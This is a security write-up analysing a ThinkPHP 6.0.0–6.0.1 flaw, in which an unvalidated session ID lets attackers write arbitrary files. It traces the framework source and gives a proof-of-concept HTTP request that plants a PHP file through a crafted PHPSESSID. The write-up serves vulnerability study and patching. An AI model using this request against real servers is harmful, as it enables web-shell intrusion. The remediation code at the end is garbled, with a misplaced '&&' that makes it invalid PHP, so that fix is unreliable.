ThinkPHP 6.0.1 Vulnerability Analysis (Arbitrary File Operations)
On January 10, 2020, the ThinkPHP team released a patch for an arbitrary file operation vulnerability caused by an insecure SessionId, which affects ThinkPHP 6.0.0–6.0.1 and may allow arbitrary file creation, deletion, and, under certain conditions, gaining a shell when sessions are enabled.
Read in Chinese→Vulnerability Description
On January 10, 2020, the ThinkPHP team released a patch that fixed an arbitrary file operation vulnerability caused by an insecure SessionId. When sessions are enabled in the target environment, this vulnerability allows attackers to create and delete arbitrary files. Under certain conditions, it can also be used to gain a shell.
Affected Versions
ThinkPHP 6.0.0–6.0.1.
Environment Setup
Enable sessions in /tp60/app/middleware.php.
Uncomment the session-related code:
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];
Add code for testing sessions to the controller in tp5/public/index.php:
public function test1(){
$sid =$_POST['key'];
session('zeo',$sid);
return 666;
}
This retrieves a key and writes its value to the session.
Note: When using ThinkPHP 6, it is best to use a newer version of PHP.
Analysis
My initial understanding of this vulnerability was that the session ID was not validated, allowing arbitrary characters to be supplied, such as xxx.php. Generally, the session ID is used as the filename when creating the corresponding session file. This is the first step: we have gained control over the filename. If the data written to the session file is also controllable, it can be used to gain a shell. Therefore, I created the controller shown above.
The vulnerability first occurs because the session ID is controllable:
tp6/vendor/topthink/framework/src/think/session/Store.php
Line 121:
/**
* session_id设置
* @access public
* @param string $id session_id
* @return void
*/
public function setId($id = null): void
{
$this->id = is_string($id) && strlen($id) === 32 ? $id : md5(microtime(true) . session_create_id());
}
The session ID is not validated when it is set; it only needs to be 32 characters long.
Now look at how sessions are saved in the same file:
Line 254 of tp6/vendor/topthink/framework/src/think/session/Store.php:
/**
* 保存session数据
* @access public
* @return void
*/
public function save(): void
{
$this->clearFlashData();
$sessionId = $this->getId();
if (!empty($this->data)) {
$data = $this->serialize($this->data);
$this->handler->write($sessionId, $data);
} else {
$this->handler->delete($sessionId);
}
$this->init = false;
}
It first obtains the session ID and then calls $this->handler->write($sessionId, $data);;.
Following the handler further, it is only initialized in the constructor as a SessionHandlerInterface \$handler.
public function __construct($name, SessionHandlerInterface $handler, array $serialize = null)
{
$this->name = $name;
$this->handler = $handler;
if (!empty($serialize)) {
$this->serialize = $serialize;
}
$this->setId();
}
tp6/vendor/topthink/framework/src/think/middleware/SessionInit.php
Here, the value of PHPSESSID is obtained and passed in as the session ID.
if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}
if ($sessionId) {
$this->session->setId($sessionId);
$request->cookie($cookieName);这个里面看一下
protected $name = 'PHPSESSID'; 发现是这个参数
所以这个值就从PHPSESSID传就好了
It is then passed to the setId\(\) function in Store for validation. The value is only checked to ensure that it is 32 characters long, which is the first issue mentioned above.
Finally, the session data is saved in tp6/vendor/topthink/framework/src/think/session/Store.php.
Follow the write method:
$this->handler->write($sessionId, $data);
这里的 handler 是 继承的think\session\driver\file.php
Continue following the write method:
tp6/vendor/topthink/framework/src/think/session/driver/File.php
public function write(string $sessID, string $sessData): bool
{
$filename = $this->getFileName($sessID, true);
$data = $sessData;
if ($this->config['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
return $this->writeFile($filename, $data);
}
The filename is processed here:
getFileName($sessID, true);
protected function getFileName(string $name, bool $auto = false): string
{
if ($this->config['prefix']) {
// 使用子目录
$name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name;
} else {
$name = 'sess_' . $name;
}
$filename = $this->config['path'] . $name;
$dir = dirname($filename);
if ($auto && !is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
return $filename;
}
The filename is only joined to the path and given a prefix.
Data compression is irrelevant here. Follow $this->writeFile($filename, $data);:
protected function writeFile($path, $content): bool
{
return (bool) file_put_contents($path, $content, LOCK_EX);
}
The data is written directly. This creates the vulnerability: the filename is controllable, and although the contents of XXX.php are serialized, they are also controllable, allowing an attacker to gain a shell directly.
Exploitation
Based on the controller I wrote, construct the request packet.
Note that the value after PHPSESSID= must be exactly 32 characters long, but the characters themselves can be chosen arbitrarily.
POST /tp6/public/index.php/index/test1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/tp6/public/index.php/index/test1
Cookie: PHPSESSID=1234567890123456789012345678.php;
Upgrade-Insecure-Requests: 1
key=<?php%20phpinfo();?>
```Next, locate the file.
It is generally located in the `./runtime/session/` directory under the project root.
After adding the prefix from the earlier filename construction, the path is:
`/runtime/session/sess_1234567890123456789012345678.php`
The exploitation then succeeds:

## Remediation
The official team also provided a solution.
Filter the session ID using `ctype_alnum()`.```php
$this->id = is_string($id) && strlen($id) === 32 ctype_alnum($id) && ? $id : md5(microtime(true) . session_create_id());